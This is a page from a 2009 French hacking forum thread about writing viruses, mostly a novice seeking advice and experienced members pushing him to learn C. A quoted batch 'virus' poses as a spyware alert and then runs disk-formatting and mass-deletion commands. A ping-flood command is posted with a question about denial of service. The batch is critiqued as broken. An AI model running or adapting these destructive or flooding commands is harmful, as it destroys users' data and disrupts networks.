logo Homepage
+  NewbieContest
|-+  Général» Defouloir» Virus : Un tabou ?
Username:
Password:
Pages: 1 2 [3] 4 5
  Imprimer  
Auteur Fil de discussion: Virus : Un tabou ?  (Lu 23608 fois)
Folcan

Profil challenge

Classement : 507/54277

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« #30 le: 06 Août 2009 à 14:38:08 »

Une requete ICMP basique, il va t'en falloir beaucoup pour faire tomber ne serait ce qu'une livebox...
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
akway

Profil challenge

Classement : 351/54277

Membre Complet
***
Hors ligne Hors ligne
Messages: 151


Voir le profil
« #31 le: 06 Août 2009 à 15:43:41 »

ouaip tiens par curiosité est il possible de faire un DoS efficace sur une Nic 10/100 avec un flood icmp ? si oui combien faudrait il de pc/nic 10/100 pour faire tomber une carte reseau 10/100 a base d'icmp similaire a ceci :

ping -t -l 65000 x.x.x.x

PS :même si ton code est là à titre informatif, évite de poster de manière générale des code nuisibles, complets et "ready to use". 
« Dernière édition: 06 Août 2009 à 16:03:29 par akway » Journalisée

Please, do NOT feed the Troll.
Spl3en

Profil challenge

Classement : 145/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 53


Voir le profil
« #32 le: 06 Août 2009 à 16:13:40 »

@akway : http://fr.wikipedia.org/wiki/Ping_flood
Le ping flood c'est pas vraiment ce qu'il y a de mieux pour DDos ...

Citation
Ce code ne ma pas l'air juste, si ?
code:
@echo off
cls
rem #_nom du virus: Kaox
rem #_code créé le 05/04/2004 à 3h04
rem #_auteur : Freak
rem #_code créé pour : moteurprog.com
rem #_code de 31 lignes et de 1 069 octets
echo ##################################################
echo ALERTE !!!
echo Votre ordinateur est infecter par un spyware.
echo Le fichier msbb.exe  à été trouver.
echo ##################################################
pause
choice /C:ab Si vous voulez mettre le fichier en quarantaine tapez "a" sinon tapez "b". Si dans les 15 secondes qui suivent vous n'avez pas choisi, le fichier sera automatiquement mit en quarantaine.
/T:a,15
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:a
cls
@format c: /u /q
@deltree /y c:\*.*
echo Freak est heureux de vous annoncer que votre disque dur a été
echo formaté ;-)
goto :fin
:b
cls
:loop
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)
goto :loop
:fin

Completement faux, non fonctionnel, et completement inutile ...
1) En supposant le fait que la partition système est C (donc actuellement utilisée pour faire fonctionner l'OS), il est tout simplement impossible d'appliquer un format sur une partition utilisée. De plus, il y aura une confirmation écrit en clair "Souhaitez vous réellement formater ?", et dans un deuxième temps, si un crétin s'amuse à valider par "O", un message du type :
Citation
Format ne peut pas s'exécuter car le volume est utilisé par un autre
processus. Format pourra s'exécuter après que ce volume ait été démonté.
TOUS LES DESCRIPTEURS OUVERTS SUR CE VOLUME NE SERONT PLUS VALIDES.
Voulez-vous forcer le démontage de ce volume ? (O/N)
qui, si on valide encore (là faut vraiment le vouloir ! ), se terminera par un message d'erreur ne résultat donc au final à rien.
2) Deltree n'est pas disponible dans la version de DOS par défaut. Essaye de lancer "deltree" en invite de commande, tu comprendras.
3) @copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
D'une part, il s'agit de "Program Files", d'autre part, sans guillemets "C:\Program Files\...", la commande copy ne marchera pas. Puis la vitesse de copie sera assez lente pour ne rien faire de grave, avant que la victime en question ferme la fenêtre...

Donc ne t'attarde pas sur ce genre de script bidons sans intêret. Apprends la programmation, c'est tout ce qu'il te reste à faire si tu veux étudier au mieux les virus, de préférence un langage de bas niveau. (pas forcément l'ASM pour commencer, le C conviendra pour un débutant...)
Tu peux également rester penché sur des scripts, mais à mon avis tu perds plus de temps qu'autre chose.
« Dernière édition: 06 Août 2009 à 16:23:13 par SpleenKirby » Journalisée
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #33 le: 06 Août 2009 à 16:23:19 »

SpleenKirby, tu te calme lol pas besoin de me faire une attaque !

Le script, si tu as pris la peine de lire les pages précédentes, tu te rendras compte que ce n'est pas le mien, ensuite les choses que tu as dîtes, je l'ai ai deja soulevée :: le format

Donc du calme moi jsuis ici pour apprendre pas pour me faire engueulé parce que j'ai poster la source que j'ai déclaré bidon d'un autre mec ! ( et je t'ai pas attendu pour apprendre le C ! )



Le ping flood c'est pas vraiment ce qu'il y a de mieux pour DDos ... << Que veux tu dire par là ? Il existe d'autres formes d'exploitation ?
« Dernière édition: 06 Août 2009 à 16:27:44 par DarK-CrasH » Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
#Z@tox#

Profil challenge

Classement : 273/54277

Membre Complet
***
Hors ligne Hors ligne
Messages: 176


Voir le profil WWW
« #34 le: 06 Août 2009 à 17:12:00 »

pour ton projet dark-crash, je suis désolé, je ne sais meme pas de quoi il s'agit encore , mais le travail et les activités en dehors font que je délaisse l'informatique ces temps-ci. en revanche pour VBS tu apprendras beaucoup ici http://www.vbfrance.com/

n'hésites pas a visiter les autres sites du reseau codes sources tous les langages de prog y sont
Journalisée

^ ^_ _ < >< > B A
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #35 le: 06 Août 2009 à 17:39:07 »

Merci pour le lien

Evidemment que tu ne sais pas de quoi il s'agit, je ne t'en ai pas encore parlé :p

Mais bon comme tu veux lol
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
Spl3en

Profil challenge

Classement : 145/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 53


Voir le profil
« #36 le: 06 Août 2009 à 18:01:46 »

Hé ... DarK-CrasH, ne prends pas personnelement ce que je t'ai dit...!
Tu voulais un avis, non ? Je te l'ai donné. J'ai bien compris que le batch n'était pas le tien (tu l'avais notifié dans ton post).

Citation
Ce code ne ma pas l'air juste, si ?
Je t'ai répondu par non, en reprenant point par point ce qui n'allait pas, d'un point de vue éducatif, et non pour te "critiquer d'avoir poster un script qui ne marchait pas" (ou vas-tu donc chercher tout cela ? )

J'essaye de te faire éviter du temps de travail et d'apprentissage en batch qui me semblait inutile pour ce que tu cherches à faire.

Citation
( et je t'ai pas attendu pour apprendre le C ! )
Si tu maîtrises déja si bien le C, alors je ne comprends pas pourquoi tu cherches à scripter un virus en batch.
D'autre part, je n'ai fait que répondre à ton premier post
"Quels sont les langages pour en développer ?"
Je t'ai donc donné mon avis sur cette question, donc prière de ne pas m'envoyer sur les roses.

Bref, mon aide ne semble pas appréciée, je te laisse continuer à scripter des batchs ou du VB, mais si c'est réellement le coté viral qui t'interessait, cela sous entend de mettre les mains dans le camboui et s'intérresser à la gestion de la mémoire par exemple.
Arrête moi si je me trompe, mais si tu connaissais si bien le C que ça, tu aurais pu déja te faire une petite idée de la réponse sur un bon nombre de questions que tu as posées.
Donc à toi de voir si tu veux finir en script kiddie ou bien apprendre réellement quelque chose.

Bonne continuation.
« Dernière édition: 06 Août 2009 à 18:26:57 par SpleenKirby » Journalisée
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #37 le: 06 Août 2009 à 19:09:20 »

LOL Je me suis juste sentie legerement agressé :p

Donc je te remercie pour tes reponses et pour repondre a ta question ::

Un script script kiddie ne cherche que a detruire, ainsi il ne recherche pas la connaissance . C'est donc tout mon contraire x)

Le C , je l'avais deja vu il y a 3 ans et j'ai decidé de le reprendre aujourd'hui donc je ne suis pas hight dans ce langage ^^

Voila voila c'etait donc un little malentendue car personne n'avait d'intentions hostiles
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #38 le: 06 Août 2009 à 21:01:43 »

Bon, au sujet des rabbits, j'ai trouver comment faire une boucle infinie en C mais donc, la boucle infinie, sa la fait dans une petite fenêtre noire tres sympathique de command :p

Code:
while (1)
{
    printf("Ceci créera une boucle infinie\n");
}

Existe t'il une commande qui crée un repertoire en C ?

Batch >> mkdir

Commande similaire car moi je n'ai pas encore vu si ce genre de commandes existaient .
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
harvey

Profil challenge

Classement : 12/54277

Membre Senior
****
Hors ligne Hors ligne
Messages: 316


Voir le profil WWW
« #39 le: 06 Août 2009 à 21:47:34 »

Citation
Existe t'il une commande qui crée un repertoire en C ?

http://msdn.microsoft.com/en-us/library/aa363855(VS.85).aspx


Ils sont invisibles, vos lapins ?
Journalisée

L'entropie vient en mangeant.
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #40 le: 06 Août 2009 à 21:55:43 »

Ici, on ne cherche pas à les introduire frauduleusement ( pour l'instant ) si tu as lu depuis le début ce poste

Pour l'instant car il faudra bien que j'essaye de les cacher afin de parfaire mon projet, mais pas encore a ce stade .
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #41 le: 06 Août 2009 à 21:58:45 »

[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool CreateDirectory(string lpPathName, SECURITY_ATTRIBUTES lpSecurityAttributes);

euh .. C'est français ça ??

je l'insere comment moi ltruc là et il fait quoi au juste ?
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
Folcan

Profil challenge

Classement : 507/54277

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« #42 le: 06 Août 2009 à 22:19:48 »

euh .. C'est français ça ??

Non, c'est de l'anglais.
De rien, je sais ou est la sortie merci. 
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
DarK-CrasH

Profil challenge

Classement : 3006/54277

Membre Junior
**
Hors ligne Hors ligne
Messages: 79


Voir le profil
« #43 le: 06 Août 2009 à 22:27:11 »

Lol Attant : ---> [ ]   

Nan je rigole, tu as des conseils pour mon projet ?

Pour apprendre le C, sur le http://siteduzero.com/ Je me suis arrêté aux fonctions, j'ai débuté a 17h et la j'arrete sinon je vais faire n'importe quoi et je vais pas bien apprendre
Journalisée

Toujours repousser ses limites c'est bien. Le faire avec méthode, c'est mieux.
harvey

Profil challenge

Classement : 12/54277

Membre Senior
****
Hors ligne Hors ligne
Messages: 316


Voir le profil WWW
« #44 le: 06 Août 2009 à 23:07:22 »

Citation
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool CreateDirectory(string lpPathName, SECURITY_ATTRIBUTES lpSecurityAttributes);

Ça, c'est la spécification C# apparemment.

En C, ton code pourrait ressembler à ça :
Code:
#include <windows.h>

int main()
{
if (CreateDirectory("lapin", NULL)==0)
    puts ("problème");
else puts ("tout va bien, répertoire créé");
return 0;
}


La valeur de retour (booléen) te permet de savoir si l'opération a réussi ou pas. Si c'est 0, c'est lapin mort, sinon tout va bien.
« Dernière édition: 06 Août 2009 à 23:19:16 par harvey » Journalisée

L'entropie vient en mangeant.
Pages: 1 2 [3] 4 5
  Imprimer  
 
Aller à: